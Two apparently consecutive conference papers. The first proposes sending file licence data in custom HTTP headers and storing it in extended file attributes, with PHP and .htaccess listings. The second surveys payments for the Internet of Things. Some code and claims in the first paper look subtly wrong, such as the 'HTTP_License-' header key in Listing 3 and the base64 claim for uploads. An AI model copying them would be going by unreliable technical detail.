This paper describes an implementation of a method of sending file license information for files downloaded from a server. There are many files available for download on the Internet and many of them were created by authors who have published them under a certain license. In most cases, the license information is lost or is unknown by the person downloading the file. Those files may be images, video content, text documents, audio recordings, executables, compressed archive files with software source code, educational materials of different kinds etc. Currently, the only way to specify the license information is to embed the license information in a file (overlay or stamp on an image, footer text in a document, a separate file in a compressed archive of files, etc.) or to show license information on the web page shown just prior to the step where the download link is available. This proposed method does not provide for a way to embed the license information into the original file, but instead, it allows for the license information to be sent with the file from the server to the user in the same HTTP response and vice-versa, from the server to the client. The license is stored using the extended file attributes mechanism.

Keywords:

extended attributes, HTTP headers, license, concept.

1. INTRODUCTION

Simply put, a license is a permission to use the property of another person [1]. There are many types of licenses that specifically relate to electronic documents, such as images, videos, audio recordings etc. The license type used for demonstration in this paper is a group called public copyright licenses [2]. Other terms, such as free license, open copyright license are used to refer to one kind of the public copyright license or another. Licenses are important, especially for authors of original intellectual work as well as original creative such as art, photography, music etc. Licenses, as methods of giving permission to use protected intellectual and creative works, are managed by a network of treaties and conventions [3] as well as national laws in every country. For example, all countries of the European Union are signatories of the Berne Convention for the Protection of Literary and Artistic Works and Trade-Related aspects of Intellectual Property Rights Treaty [4]. Treaties such as these recognise licenses as a method of giving usage rights for otherwise protected works [5].

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There are multiple ways for authors of original work (licensors) to grant licenses to licensees [6]. The way which is predominant on the Internet, whenever materials which are subject of the license, is to send a copy of the license agreement document issued by the licensor in the form of a separate file, usually a text document.

In this case, the text document containing the license text, which specifies the limitations and the conditions, is supposed to accompany the licensed work at all times, even when it becomes a part of a new whole. An example of this text is the MIT license, which states that "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software." [7] In most cases, it is not particularly hard to include the original text of the license in the end product, as it does not require much storage space. Since there are no technical limitations for making the original license accessible to interested parties, we must look at other difficulties that prevent us from complying with conditions specified in the license. Regardless of reasons for not being able to comply, they ultimately consider it irrelevant.

However, there are situations when it is impractical or impossible to include or display the license in a transparent manner. An attempt to better explain these situations and license distribution problems is made in the next section which illustrates a typical use case on the Internet.

2. WEB BASED IMAGE GALLERY USE CASE

An example which illustrates the problem of license distribution is an implementation of an image gallery of paintings or photographs by different authors. Painters and authors of photographs presented in the gallery can license their works for use in this manner of presentation under different conditions. The website hosting the image gallery would have to accompany every image with the adequate text of the license or at least with a download link where the visitor can open and view the license text for the particular image. Aside from obvious impacts on the design of the image gallery, there is another issue that should be addressed in such situations. In case of public copyright licenses, authors of works in question might allow the public to freely use their work in their products as long as they publish the license along with the derived work, in case that the license allows for derivative work to be made from the original [8]. In case the image gallery does not provide a way to download both the image and the license at once in a single container, eventually the image will be posted on a different web page and its license will be lost, as it is not immediately associated with

it. For the majority of public copyright licensed work, this might not be seen as a potentially problematic situation, but for commercial users it might. This is because some licenses allow free use of licensed works for personal and non-commercial use, but disallow or require payment or purchase of works when they are going to be used commercially [9].

These kinds of licenses that allow free use to one group and limit it to another are generally not considered public copyright licenses, in case of most electronically distributable materials or open source licenses [10], in case of software.

Because there are versions of public copyright licenses that allow and those that disallow derived works to be made from the original work which the license applies to, when an individual wants to use the work with modifications or in combination with others, which is treated as derived work [8], he or she should familiarise with the type of license under which the work is published. If the file was downloaded and re-uploaded to different sources multiple times, it can be hard to find its original source and retrieve a copy of the license. Also, it may sometimes be hard to even locate the author or an original work in order to request a license directly.

3. IMPLEMENTATION

Although there are different methods of achieving described license distribution, this paper presents a method that does not require modifications to the application layer communication protocol used for data transfer between the server and the client and vice-versa. Instead, this method uses an already described mechanism available in HTTP (The Hypertext Transfer Protocol). Since HTTP is an application layer protocol used to access content from different locations on the web it is also capable of transmitting certain meta-data about the content being delivered [11] [12].

HTTP Request and Response Headers

This meta-data is usually transferred within a HTTP response header [13]. HTTP headers are part of responses that are always delivered first. Headers contain multiple lines of text that describe the content that follows in the response body. Among these lines of text is the information such as the total size of the incoming response body as well as its type (image, text, application, spreadsheet document etc) as well as some supplementary information

used by the browser for content caching etc. [13] [14] The header mechanism allows for defining arbitrary header lines [13]. Taking advantage of this feature is a key part of the license distribution method from the server to the browser. Just like the server can use HTTP response headers to embed the license information, the browser can use an analogous mechanism available in HTTP Requests. HTTP Requests are sent by the browser to the server. They carry information such as the web page that the browser wants to open or a file that the browser wants to download from the server at the specified path. This information is stored within the header section of the request, which is always delivered first, just like the response. The header consists of lines of text that describe the request as well as the browser used to make the request. For example, these header lines store information about the browser vendor, name, version, operating system type, version, build, available support for different scripts, languages, encodings etc. [15] Whether a request has a body or not depends on the HTTP method used. If data is being sent using the POST method, the request contains the data within its body section. When sending files, they are sent as base64 encoded text of their content along with leading lines of text specifying their original name and extension. The protocol cannot be modified to include license information in this section. This is why the method presented in this paper utilises the possibility of adding user defined lines to both the request and response headers in order to send additional information about file licenses from the server to the client and vice-versa.

Extended File Attributes

When uploading a file from a browser to the server via HTTP, its content is sent, but it does not include license information. Presumably, there is no way to embed the license information into the file. This is true for most file formats and the simplest example that proves that there is at least one type of file that cannot have any additional information embedded is a plain text document. All data within it is principal and would not be ignored or skipped by a parser or viewer. Based on this presumption, license information must be stored elsewhere. Additionally, when a file is being uploaded by the browser, it should be able to extract this additional license information from its storage space and include it into the request header as explained in the previous subsection.

For this method, the storage space for information about the license for a file is implemented using extended file attributes. The ability to store extended file attributes is a mechanism available in most major file systems used today, such as EXT, NTFS etc. Although implementations vary, system level application programming interfaces provide support for handling extended file attributes [16] [17].

File handling on the server side

For the demonstration of this method, the server and the web page used to upload the file are configured in such a way that the server side application that handles file reception and sending is written in such a way to read and write license information about the file into extended file attributes.

The server is configured in such a way that the server side application handles its dispatch to the browser when a file is requested for download. Instead of merely sending the content of the file as the server, the application reads the extended file attributes of the requested file to find license information. As the implementation is done using PHP, appropriate PHP functions are used [18]. If license information is found for the requested file, it sends an additional response header line with the appropriate content, specifying license information.

When receiving a file from the browser, the application also reads the license information from the request header. If license information is found, upon storing the file on the file system, it additionally stores license information in an apt extended file attribute. The next time when this file is requested for download, the stored license information is delivered in the response header along with its content. Just like with reading the extended file attributes, the application uses appropriate PHP functions to write the attribute [19].

This way, the preservation of the license information is achieved on the side of the server.

Delegating request handling to the server-side application

In order to have the server-side application handle all requests as explained earlier, the server is configured to pass all requests to it for processing. The web server is an instance of the Apache2 Web Server application. There is an apache server module called the rewrite module which allows for request rewriting. Using the Apache2 server's per-directory configuration overwriting mechanism, all requests are routed to a single server-side PHP application that will handle them. Request routing is done by

specifying a request rewriting rule in the file named .htaccess [20] in the root directory of the web application. The sample content of the .htaccess file used for the testing of this concept is listed below.

```
<ifModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.*)$ index.php [L]
</ifModule>
```

Listing 1. The content of the .htaccess file used for the demonstration.

As shown in Listing 1, all requested paths are dispatched to index.php for further processing. In the PHP application, the original requested path can be found in the server information associative array [21] at index REQUEST_URI. The HTTP request method can be found in the server information associative array at index REQUEST_METHOD. Custom headers sent with the request can be found at indices starting with HTTP_ [21, p. #89567]. A part of the PHP application's code that gathers information about the original request path and method is shown in the listing below.

\$url = filter_input(INPUT_SERVER, 'REQUEST_URI');
\$mtd = filter_input(INPUT_SERVER, 'REQUEST_METHOD');

Listing 2. Part of the application that acquires request information.

Note that the server information index is not sanitised with an appropriate filter in Listing 2. Ideally, the filter_input function should be called with a proper filter for the third argument, like the FILTER_SANITIZE_STRING filter [22].

If the received request's method is POST, the application checks if there are files in the request body. If so, these files are uploaded to a private directory on the server and the application checks for license information in the request header, matching the HTTP field names under which these files were uploaded. Data about uploaded files is located in the \$_FILES global array in a standardised format [23].

The proper name of the index in the server information associative array, sent via HTTP headers, containing uploaded file's license information is formed by prefixing HTTP_ to the HTTP POST data field name of the particular file. If each file that is being uploaded is assigned a unique field name, their field names become keys of the \$_FILES array in PHP.

The code shown below illustrates a way to retrieve license information from the request header for the second uploaded file whose field name is not known by the application.

```
$index = 1; # The second file (counting from 0)
$fileFieldNames = array_keys($_FILES);
$fieldName = $fileFieldNames[$index];
$licenseLine = 'HTTP_License-' . $fieldName;
$license = filter_input(INPUT_SERVER, $licenseLine);
```

Listing 3. Retrieving license information about the second uploaded file.

If there is no license information for the particular file, the variable remains empty. This indicates that the browser did not include license information for the particular file.

After completing the upload process for a particular file to its final destination on the server's file system, the application will execute a function that will write the retrieved license information into extended file attributes space for the particular file. For this demonstration, a simple user space key name is used. The key name is user. license. The following code shows how the application stores license information about a recently uploaded file. The uploaded filename and license information is stored in appropriate variables called \$destination and \$license, for the purpose of this example.

```
xattr_set($destination, 'user.license', $license);
```

Listing 4. Storing license information in extended file attributes storage.

Note that for the above shown code to work the xattr Pear package must be installed on the server and the Apache2 system user must be granted Access Control Lists permissions to the directory where files are being uploaded [24].

Finally, when the file retrieval scenario is being executed, the application would read the license information from the requested files extended file attributes. If this information available, it adds a license information header line into the HTTP response header, thus sending the license information to the browser along with the content of the file. A sample code demonstrating this



process is shown in the following listing. The path to the file being sent is stored in the variable \$path.

```
$license = xattr_get($path, 'user.license');
if ($license !== false) {
    header("File-License: " . $license);
}
readfile($path);
exit;
```

Listing 5. Adding license information for the file being sent to the header.

The code shown in Listing 5 follows all other codes written in preparation for sending the requested file, such as content type, size, download file name, flag to force download and other header information specification. The output buffer must remain empty at the time this code gets executed to prevent contamination of the file content sent in the response body. Preferably, the output buffer should be cleaned before executing this code. This can be done using the ob_clean function in PHP [25].

File handling on the client side

The client-side is more difficult to implement as it requires the Internet browser to be aware of the additional response header lines when receiving a file and should be aware of the need to send additional request header lines when uploading a file or a number of files. Also, the browser should store extended file attributes along with the file when saving it as well as reading the attribute when uploading it to the server. Implementation of this functionality is currently not possible without completely rewriting the source code of the web browser and having it natively support the license information retention via extended file attributes.

However, there are two ways to test the method in order to prove it as a valid concept. The first way is to use an unsecure Internet browser with all security features reduced to lowest settings in order to allow execution of commands on the client side. These commands would be used to write extended file attributes for the downloaded file. The second way is to write an Internet browser simulator as a client side application that would simulate file upload and download. This application would have the ability and permissions to execute system commands to write extended file attributes. Both methods are unlikely in the production scenario, especially the first which requires lowering of security settings and using ActiveX WScript.Shell objects to execute shell commands on the client. This functionality is no longer supported by any major Internet browser other than Microsoft's Internet Explorer. Even in the most current version of this browser, this functionality is considered deprecated. [20] As it is much simpler to write an application to simulate a browser, this way is used to prove the concept of the licence information preservation method presented in this paper.

An Internet Browser Simulator

The Internet Browser Simulation application used to demonstrate the proof of concept of the licence preservation method provides two usage scenarios. These scenarios are file retrieval and file upload. In the first scenario the application sends out an HTTP GET method request for a file at a specified path. If the server includes license information in the response header, the application stores the license information into extended file attributes for the downloaded file. In the second scenario the application sends out a multipart/form-data HTTP POST method request with the file included in the request and the license information for the file sent in the request header.

When the file retrieval scenario is executed, the HTTP response is received and processed. The header is parsed and a line starting with File-License is located, if present. File license information is extracted from the header and is kept in memory until the file download is complete. When the file is downloaded, it is stored at an appropriate location on the file system. After this, the program executes an adequate, platform dependant, command that stores license information by setting extended file attributes or file properties for the downloaded file. Implementation of this process varies depending on the operating system and the used file system. Some file systems do not support extended file attributes or similar mechanisms of storing additional meta-data about files [27]. In these cases, alternative methods for storing file license information are possible, but their implementation would go outside of the scope of this paper and the method presented herein.

When the file upload scenario is executed, the program reads file license information from extended file attributes and creates a header line formed as a keyvalue pair separated by a colon. The key part is formed by adding the HTTP POST data field name for the file being uploaded to License-. The value of the pair is the license identifier. As mentioned earlier in the paper, open copyright licenses are supported and used for this imple-

mentation. An example of the license information header line is shown in the following listing.

License-picture_1: CC 4.0 BY-ND

Listing 6. An example of a file license information request header line.

Listing 6 specifies that the file uploaded under the field name picture_1 is published under a Creative Commons, Attribution without Derivatives license, version 4.0 for use in internationally available content. This means that anyone who uses this file can share it freely, but they cannot modify it in any way. Every type of license can be abbreviated to a short string indicating the type, version and any generalised restrictions that the license imposes on the user.

Currently, this method is limited to a predefined set of licenses that can be identified by parsing the license string. This way, specialised software can show the full text of the license, which is available on-line. A possible solution to this limitation is the introduction of a specialised license type for own licenses, where the user would specify a URI with license details. The presented method does not allow this kind of content to be set as a license information value of the file's extended file attribute because of security concerns.

4. CONCLUSION

In this paper, a method of storing and retrieving file license information is presented. Also, it explains a working concept of a mechanism for sending the license information over the network via the HTTP application layer protocol by including it in HTTP request and response headers. The proof of concept implementation utilised extended file attributes mechanism of modern file systems for storing license information for files on the server and the client side. This mechanism is supported by major platforms and file systems, but in some configurations it is not enabled by default. It is explained that the major issue in making this method common practice is the inability to have modern browsers and operating systems supporting it and making it achievable without the use of additional software and special platform configurations on both client and server sides. The browser simulation application is programmed to add license information in additional header lines and to retrieve them from response headers.

However, browsers cannot be easily modified to perform this without rewriting their source code.

At this point, it is unlikely that this method can be implemented, even through plug-ins or extensions installed on the system or the browser, but if the method were to be considered for adoption into a standard supported by major browser vendors, its practical use would be possible.

It is the author's opinion that there is potential for further development of this technology, as well as obvious use for it in securing rights of creators of original works who wish to impose certain limitations to the way their work may be used. It is in no way the author's wish to exclusively support copyright and the expansion of restrictions inflicted by copyright laws and regulations. Instead, the aim of this work is to encourage the use of public or open copyright licenses and to provide a way to preserve information about the license under which original work contained within a file was published by its author.

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THE FUTURE OF PAYMENTS IN THE INTERNET OF THINGS

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Abstract:

Internet of things (IoT) is conceived as the highest form of integration between people and communication devices and appliances. It is a network of devices, machines, vehicles and buildings that are connected through communication networks such as the Internet, RFID and NFC, equipped with microprocessors, sensors and corresponding software for data collection, processing and timely distribution. The aim of establishing this network is the creation of an automated conditions of life and work, in which the "smart environment" allows individuals to easily navigate and quickly perform routine operations. The payments are one of the key issues in the IoT development. A large part of the emerging relations will be of business nature and they will require payment for services and products. The topic of this paper is the role and importance of electronic payments for the development of the IoT concept, and vice versa. The aim of paper is to determine the level of payments integration in the IoT processes. After defining key ideas of this concept, adoption in the corporate and consumer sector will be analyzed, as well as the payment solutions that are in the integration phase.

Keywords:

internet of things, electronic payments, M2M connections, industrial revolution 4.0.

1. INTRODUCTION

Development of information and communication technologies (ICT) in the second half of 20th century has changed the way of conducting business in the great number of industries. Along with the computerization of traditional manufacturing activity, conditions for development of new service professions have been created. Computers and computer systems, which up till now have been considered as the highest form of ICT application in business and life in general, enabled collecting, processing and distribution of great amount of data, which would, practically, never be possible to do manually. Under the impact of technical progress, communication services and financial sector advanced rapidly whereas the customer electronics industry would have been completely inconceivable without these achievements. The end of 20th and the beginning of 21st century was marked by the race of producers to increase the clock speed of computer processors and graphic cards, as well as download speed of the

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e-mail: ntomic@kg.ac.rs internet. However, during the past few years, the attention has been moving to the networking of great number of devices and their interaction throughout gathering, processing and distribution of data.

The term Internet of Things implies the highest form of integration of devices and machines used in the business processes and everyday life. Reference [1] cites that it is the network of devices, machines, vehicles and objects which are connected via communication network such as the internet, NFC and RFID, equipped with microprocessors, sensors and suitable software that allows data collection, its processing and distribution. This way M2M type of connection is achieved, wherein both Ms could stand for machine, or one M for a man and the other for machine (which also could be marked as M2P, machineto-person). The aim of establishing this kind of network is the creation of automated life and work, in which "the smart environment" would enable individuals easy managing in every situation and quicker performance of routine operations. The IoT should become the base for the future information society and in long-term should serve for creation of so-called smart cities.

IoT represents the third stage of communication development via the internet. The first stage is characterized by available static content and sharp division into those who create it and those who consume it. The website content could be mostly read, watched and listened, without possibility to participate in its creation. There was one way communication. The second stage, in which we are today, is distinguished by the disappearance of clear division because the great number of sites offers interactivity. Anyone could create and consume content at the same time. Most websites contain a social component which allows participation through publication of photos, comments and videos. The most popular websites are the social networks and multidirectional communication between people occurs via computers and mobile devices. The third stage could be seen as realization of the IoT concept. According to it, the things, passive by their nature, could be transformed into intelligent, "smart" doers that could exchange information about themselves and their environment with other people and things via the internet. The communication is not only multidirectional but also goes beyond ordinary frames of devices we use.

The subject of this paper is to determine the role and importance of electronic payments for development of the concept IoT and vice versa. The aim of the paper is to confirm the achieved level of payment integration into IoT processes, and to define the guidelines for future development. The first part of the paper presents the potential of applying IoT concept in different stages of business processes. The second part analyzes the possibilities for incorporating existing payment systems and developing new ones which would allow full use of potential. The possible issues and limitations of the IoT concept are presented in the third part.

2. APPLICATION OF THE INTERNET OF THINGS CONCEPT

For the realization of the IoT concept, the integration of infrastructure and environment is needed [2]. The large number of devices, machines, objects and vehicles would be equipped with sensors for collecting different data. After that, data could be transferred to other devices, machines, objects and vehicles or to the individuals who are marked as authorized to access data. For instance, the vehicle owner would be able to access his vehicle as well as the data his vehicle has collected from other vehicles or from base stations with which it communicated. Also, the operator of one business process could be able to access data collected by sensors of devices and machines within his level of authorization or obtained from other connected devices and machines.

In perspective, IoT should create conditions for connecting everything into a network. With higher data speeds and greater signal coverage, in the combination with great number of devices equipped with sensors, the global network which would connect all (persons) and everything (devices) at anytime, anywhere and with any function would be created. The progressive growth of the collected data would require development of a new software for data analysis and data management (especially in corporate sector) which is, nowadays, called Big Data software. It is believed that linking these two concepts presents the future of ICT application in both business and everyday life.

Reference [4] regards that the transition of modern society to IoT standards would mark the new industry revolution, due to a great change in the manufacturing factors relationship. Consequently, the new stakeholders would appear and the new types of connections would be developed between buyers and retailers, or so to say manufacturers and service providers and suppliers. Thereby, the great number of achieved connections would be of commercial nature and it would require certain form of payment for communication. This is the opportunity not only for traditional players, such as credit card companies and mobile payment systems, but for new systems which would be better adapted to the new type of connections.




There are expectations that until 2020 there would be as high as 24 billion of different devices that would meet the IoT standards in the world, which is four times more than in 2016 [5]. 5 billion of those are reserved for individual users, which represent the huge potential for increasing base of electronic payments. In the initial stage of development, key activity was to define unique standards and recommendations that laid a minimum basis which had to be met in order to achieve interoperability of future solutions. However, the infrastructure for the future has already been delivered with new models of cell phones, home devices and vehicles.

Reference [6] lists five activities with the greatest investments in the application of the IoT concept at this moment:

 Manufacture. The manufacturing robots that perform the preset processes are not a novelty. The tracking of parts, detection of potential mistakes in the drafts or designs and optimizing process of production line management would be enabled through connection of these machines and by giving the opportunity for data exchange. With logistics automation, the operators would at any moment know the situation with the supplies in the warehouse or what raw material is lacking. With proper sensors the products tracking would be possible after them being manufactured/assembled, and thus the feedback about their condition and the way in which people reacted would be provided.

- 2. Transport. Smart vehicles could communicate with owner/driver or among themselves and base stations. The user gets data about vehicle condition, which could signal if components are worn out, the fuel level in the tank and quality of the fuel, or data which the vehicle gets from other vehicles. Data about traffic density, accidents or obstacles on the road, speed adjustment, etc. vehicle gets from base stations and other vehicles. Of course, the mentioned advantages are applicable not only to the road transport, but to railway, water and air transport. IoT would have great importance to freight transport.
- 3. *Energy*. In accordance with data gathered on the field, heating plants, power plants, as well as storage plants for processing and distribution of gas and oil could optimize their business. The world still dominantly uses exhaustible resources of energy, based on fossil fuel and any improvement in economizing their stocks and consumption gives a positive effects.
- 4. *Heath care.* In medical use, IoT would allow faster data exchange between different institutions and individuals involved in diagnosis and disease treatment. The implants and prostheses which could replace a body part could send feedback or could be subsequently programmed for specific function. Also, wearables provide conditions for measuring and monitoring great number of health parameters, from temperature, blood pressure and heart beat to the effect that certain treatment applied has on the organism.
- 5. Consumer electronics. Although the first association to mass networking is smart home, meaning that every house device informs the owner of its condition, this is just one of IoT segments. At the moment, consumer electronics do not hold the top place, although it is believed that over time, investments in this industry and smart vehicles would increase. The great number of devices can make lives of their users easier - heating or cooling which can be activated remotely, coffee machine and stove that prepare or reheat drinks and meals based on the set process, the fridge which informs the owner about the available quantity of food, the gate which recognizes the owner and the vehicle and opens and closes itself, are just some of the futuristic ideas which would be revived by this concept.

It could be noted that at this moment, the application of IoT has greater potential in business activities rather than with individual users. However, bearing in mind diffusion of ICT in the last five decades, the high growth rate of application could be expected. In order to use a full capacity, the redesign of payment systems is obligatory.

3. PAYMENT SYSTEMS AND INTERNET OF THINGS

Payment systems organized on the current basis would not help in achieving the full potential of IoT. Cash payments are completely inappropriate for desired level of automation, while classic non-cash payments are very slow and expensive. Payment cards and checks are intended for transactions of significantly higher amounts than the amounts of transactions in the ecosystem of IoT would be. Reference [7] believes micropayments would be dominant method in the future, so globally connected devices usually tend to make transactions of low amounts.

Strategic changes of instrument and payment channels would be necessary for future payment system design, which in the end would cause changes of activity in the payment execution process. Payment cards terminals - POS - still dominate in terms of number of initiated transactions [8], but because of their static nature (attachment to seller's physical location) they could not be basis for payment system of IoT. Classic payment cards are not suitable to be an instrument because they require classic POS. The existing smart watches make the initial step in increasing efficiency of payment, because they could be read easily via NFC that is RFID technology. In this tap-and-go principle, the transport, shopping in markets or fast food restaurants could be paid. This, however, is not a permanent solution for IoT because transaction processing is done in the traditional way, although payments are done faster at the collection point. All citizens, that for some reason do not have payment cards, in this case remain outside of the payment system. Reference [9] thus believes that traditional banks must change business strategy if they want to survive in IoT.

Reference [10] expresses the attitude that IoT is a paradigm of information integration, in which the sensors and processors would allow machines to collect a great amount of data and distribute it. He believes that this step does not necessarily require integration of payment methods. The next evolutionary step he calls the Internet of Value (IoV) which should enable fast and efficient flow of funds. In order to achieve this, it is necessary to abandon fragmentation of existing payment systems and adopt internet organizational structure. As network of all networks, the internet enables data exchange regardless of the user's country, service provider and connection method. To enable the transition to the IoV, or to use the full potential of payment in IoT, unique payment system must become the network of all payment systems, and that network would enable the integration of national commercial banks, electronic payment systems that are developed by third party institutions or even systems of electronic money.

During designing of payment system for IoT, two key tasks would be creation of devices' digital identity or its integration through identity of the owner and achieving cost effectiveness of transactions including micropayments as well. Changes in payment infrastructure and supportive software should be regarded as the functions for resolving these two tasks.

As it is expected that the large number of devices will be able to make payments in the future, their transactions should somehow be institutionalized. One of the ideas is that every machine in one ecosystem, for instance in a smart home or a smart office, should get its own digital identity and in that way be recognized in the future transactions. The alternative is the creation of centralized system with digital identity which is based on a single device, with which all other devices are connected. Such devices are in the developmental stage, and certain solutions already exist. The example is Amazon Echo, smart sound system through which the user can communicate with the digital assistant Alexa. This assistant can wake the user up, remind him of his obligations, provide the data from connected services (time, traffic, stock market) and manage great number of house devices (from fridge to television, depending on a connected model). The system communicates with the user because it recognizes voice calling and the set of commands in English and German language [11]. Echo or Alexa are ideal digital identities which could be payment holders of devices to which they are connected.

There is another part of the problem, and that is definition of rights to access digital assistants, as well as the choice of payment methods. The access right should be separated from the right to the deeper interaction with a system (for instance, occasional guests could connect to Alexa or similar service if they ask for a quick information, but they would not be able to access settings) including installation of the parameters for automated purchase. Efficiency of the system depends on the solutions of several issues: whether they need to have their own financial parameters (payment system account and



special payment instruments) or they would be connected via personal financial accounts of one or more users; how the authorization of payments would be confirmed, because this is not simple even in present when the electronic payments are made only by people; how one or more users would access systems settings, etc. Reference [10] believes that by no means the user name + password access system should be used, because this system is designed for statistical data and it is not even good solution for a present level of internet development.

Paying directly from the vehicle would be among key novelties of IoT. Along with the automated payment of tolls (which is now possible with using the right device) and parking, refueling would be integrated with payment so that the driver would not have to leave the vehicle. Reference [12] states that the purchases of entertainment content (music, maps) for cars is a segment which would record remarkable growth. Due to the frequency of transactions and their relatively high amount it is thought that the cars would get autonomous payment terminals, or so to say some sort of POS which would be connected to existing payment systems. In this way the issue of digital identity of every single vehicle would be resolved.

Another key task is to redesign payment so that it would become more economic. Suppose that the digital assistant buys automatically for the user songs of his favorite singer or articles of his favorite author. The amount of these purchases is low so they are considered to be micropayments. Their performance with existing payment mechanism would be inefficient due to high transaction costs. The alternative (if we exclude sale of package of service and products as undesirable) is payment in advance, wherein one digital identity would have "prepaid budget" which could be used for purchases. In case a transaction is attempted and there are no enough funds, the digital assistant would inform the user about the need for additional payment. This kind of solution has its flaws, but it allows faster implementation of the present system with few infrastructural changes.

A fundamental change, which would enable development of IoT full potential, would include the use of electronic money. Among numerous commercial forms of electronic money, a form of state electronic money would show up definitely in the near future, bearing in mind that China has announced this activity [13]. Among general public and number of users, Bitcoin is sticking out from commercial forms. However, chances to find it in mass application are very small because of high fluctuations. Its importance is mirrored in the creation of concept which is the base for the whole set of digital money systems called cryptocurrencies. It is worth mentioning two systems which could influence the IoT in the future – Ether and Ripple, because they go beyond the limits of classic electronic money we are accustomed to.

Ether is decentralized cryptocurrency which according to [14] holds the second place at the market capitulation (the number of issued coins multiplied with the market value of one coin) among cryptocurrencies. In this case, the coin presale principle (before the beginning of system's work) and the creation of new coins through mining were combined. The idea of the team that created Ether was its use in so called intelligent contracts, or so to say in the creating of automated applications which perform business processes independently. Reference [15] specifies the financing of venture capital fund named The DAO (The Distributed Autonomous Organization) as an example. It is a fund that has neither portfolio manager nor the management, but investors (also owners of the fund) make a decision on investments by voting, on which they have a right but they are not obliged to. This principle could be applied with slight modifications on payments of automated digital assistants, or individual devices.

Ripple is electronic money which is made by eponymous company. According to the website [14], Ripple holds the third place at the market capitulation among cryptocurrencies. The intrinsic value of the company actually lays in the fact that along with the creation of cryptocurrency it manages with unique payment system between banks which functions as RTGS system. The original idea of dealing with money remittance affairs was surpassed with creation of Ripple Protocol mechanism, through which any form of value could be transferred [16]. This means that not only money but securities, gold, virtual currencies, bonuses, etc. could be transferred as well [17]. Although there is institutionalized implementation of the system at the smaller banks level in North America, the system has not been tested globally yet. The basic idea is that the existing system executes micropayments and international payments inefficiently. Apart from excessive commissions, there is also a problem of great number of different electronic payment systems via which user directs the payment to the seller. Ripple Protocol offers an intermediary system (which would be a market maker) between two systems, which would be ready to execute transfer of funds from one system to another for a much smaller compensation than the previous one. Reference [18] offers detailed explanation of this process.

4. PROBLEMS AND LIMITATIONS OF INTERNET OF THINGS

Unquestionable benefits for making business process and life easier are followed by certain doubts and visible issues which would arise with this concept application. Two key issues are economic effects and security.

The main economic problem is the question of benefit redistribution which would be brought by IoT. Whether all citizens would be in the situation to enjoy benefits of new medical methods, or whether all would enjoy increase of free time thanks to the concept of smart home? The answer in both of these cases is almost certainly negative. The complete networking of business processes would (in the near future) be done only by large and rich companies, thus personal advantages would (at least initially) be enjoyed only by wealthy individuals. The Fourth industrial revolution [19] would almost certainly deepen the differences between the rich and the poor, as all industrial revolutions did by now. In terms of development, it would be the continuation of the practice which [20] named "creative destruction". Under this construction he claims that every quantitative progress in capitalism is followed by devastation of old business paradigm, but that benefits achieved through progress overcome losses caused by leaving the old business practice.

In the context of economic problem, a new redistribution of workplaces is an unanswered question. Reference [21] claims that predictions show that as high as 47% of all workplaces in the USA are threatened by the complete application of IoT concept. All previous industrial revolutions brought less need for particular professions but at the same time they increased demand for the new ones. The immerse difference is that in the case of the first and the second industrial revolution those professions were mainly production occupations, while with the application of the IoT concept a large part of highly-educated staff or so called white collars would become redundant. It is related to those professions which could be automated so that the computers and computer network could execute them. This group includes accountants, insurance agents and real estate agents, etc. At the same time there are opportunities for new jobs in the field of software engineering, developing, technical support and maintenance. Reference [22] warns that the problem of inequality of terminated and newly created workplaces could rise.

Reference [23] along with the different aspects of the fourth industrial revolution conducts a comparative analysis of the automotive industry of Detroit in 1990 and the giants of Silicon Valley in 2014. Yearly incomes of these two industries are almost identical (250 billion of US dollars in total) except that the number of the employees in Silicon Valley is only 11.5% of the number of the employees in the automotive industry of Detroit (around 137.000 versus 1.2 million). The conclusion is that despite the same level of income of these two industries, the electronic industry seeks to create a lower number of very rich individuals while the automotive industry creates much higher number of low paid workplaces. Further computerization can have identical effects.

Besides the problem of benefits redistribution in this process, there is also an issue of speed at which those benefits would be achieved. Reference [24] says that surveyed managers specified the level of necessary investments as the key obstacle in the future implementation of IoT in business processes. To this, we should add the fact that partial innovation of one function of business process most often does not have a sense because the full effects are noted only by automation of the entire process. Financing the entire innovation is very expensive and it has to be followed by a reduction of the existing costs or an increase of the incomes.

Similar problem occurs with individual users. As much as, for instance, interactive refrigerator which shares information about amount and conditions of groceries would be useful, users would not buy the new one until their old refrigerator is not broken. Situation is even more drastic with the cars because they are much more expensive. It can take decades for networked cars to become a majority on the roads, and until then there would not been possible to achieve full advantages of "smart traffic" with minimal involvement of the human factor.

The second great problem of IoT would definitely be security. The potential usurpation of security in the case of IoT is far greater than in the present conditions of the internet communication. Although the privacy is usually mentioned as a specific problem, which is not necessarily connected with safety, it seems that the great possibilities of IoT would contribute to unbreakable interweaving of these problems. The individual users could be confronted not only with the loss of privacy in the terms of stealing personal and financial data but with a complete tracking of life habits and practice, even with the impossibility to perform a routine operations. State secret service or criminal groups could misuse the entire smart home of the user or endanger his life if the target of hacking attack is user's vehicle. Usurpation of financial data could initiate the great financial losses due to unauthorized purchases. The possible losses in the case of attack on the business institution's smart systems could have even more devastating consequences. The industrial espionage in the

case of IoT would contribute to the loss of practically all data about a company's business, from the procurement to product placement.

Infiltration of computer viruses could paralyze the entire business process, and an attack on financial institution would be especially devastating. Therefore, antivirus software and other security systems could be expected to have the greatest importance in functioning of IoT. Unless valid regulation is applied, IoT would make the life and business really dangerous, instead of making them simpler. If one bears in mind that current use of the internet usually leaves legal dilemmas, the challenges of complex and detailed legal regulation become clear.

The final question of security is the fear that IoT would change the life as we know it today. As the Archbishop of Canterbury said on the world forum in Davos, the technical changes would not only be the question of money, but also the concept of the man as a being. Reference [25] thinks that with the creation of smart watches and other wearables has begun the process of turning people into cyborgs. Although all body parts are still biological, people obtain senses that naturally they cannot possess. The next step could be the installation of smart body parts through prosthesis or chips, which would help people to get physical characteristics not previously owned. Progress possibilities in those cases could be on the border of imagination.

5. CONCLUSION

At the first sight, great possibilities for integration of people with objects and devices in the environment are clear. In the combination with high speed data transfer and better coverage of wireless internet signal, IoT creates conditions for the biggest changes in lifestyle and work until now. Greater automation of life and work gives more opportunities for progress, but also creates the risk of large losses. Not only that workplaces of many people are endangered, but it also raises the question what would humanity look like if integration of people and devices gets out of control.

If we hold to the positive effects of IoT, the great progress even without payment systems integration is possible. This primarily refers to tracking of parts, semifinished products and products during manufacture, tracking of product condition and distribution, obtaining data from a field which is important for agriculture, traffic, construction, etc. In order to include individual users in the entire process, the very act of payment is not necessary, because the information distribution itself would have the great importance. Nevertheless, including the purchase process is something that all manufacturers would seek due to the possibilities for additional earning.

